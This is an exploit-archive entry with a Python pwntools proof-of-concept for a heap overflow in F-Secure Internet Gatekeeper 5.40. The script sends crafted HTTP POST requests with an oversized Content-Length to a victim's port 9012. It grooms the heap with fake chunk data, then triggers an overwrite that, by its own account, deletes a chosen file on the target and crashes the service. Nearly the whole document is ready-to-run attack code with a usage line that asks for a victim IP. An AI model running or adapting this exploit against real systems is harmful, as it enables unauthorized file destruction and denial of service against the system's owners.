F-Secure Internet Gatekeeper 5.40 Heap Overflow (PoC)

2020.02.04
Credit: Kevin Joensen
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

# Title: F-Secure Internet Gatekeeper 5.40 - Heap Overflow (PoC) # Date: 2020-01-30 # Author: Kevin Joensen # Vendor: F-Secure # Software: https://www.f-secure.com/en/business/downloads/internet-gatekeeper # CVE: N/A # Reference: https://blog.doyensec.com/2020/02/03/heap-exploit.html from pwn import * import time import sys def send_payload(payload, content_len=21487483844, nofun=False): r = remote(sys.argv[1], 9012) r.send("POST / HTTP/1.1\n") r.send("Host: 192.168.0.122:9012\n") r.send("Content-Length: {}\n".format(content_len)) r.send("\n") r.send(payload) if not nofun: r.send("\n\n") return r def trigger_exploit(): print "Triggering exploit" payload = "" payload += "A" * 12 # Padding payload += p32(0x1d) # Fast bin chunk overwrite payload += "A"* 488 # Padding payload += p32(0xdda00771) # Address of payload payload += p32(0xdda00771+4) # Junk r = send_payload(payload) def massage_heap(filename): print "Trying to massage the heap....." for x in xrange(100): payload = "" payload += p32(0x0) # Needed to bypass checks payload += p32(0x0) # Needed to bypass checks payload += p32(0xdda0077d) # Points to where the filename will be in memory payload += filename + "\x00" payload += "C"*(0x300-len(payload)) r = send_payload(payload, content_len=0x80000, nofun=True) r.close() cut_conn = True print "Heap massage done" if __name__ == "__main__": if len(sys.argv) != 3: print "Usage: ./{} <victim_ip> <file_to_remove>".format(sys.argv[0]) print "Run `export PWNLIB_SILENT=1` for disabling verbose connections" exit() massage_heap(sys.argv[2]) time.sleep(1) trigger_exploit() print "Exploit finished. {} is now removed and remote process should be crashed".format(sys.argv[2])


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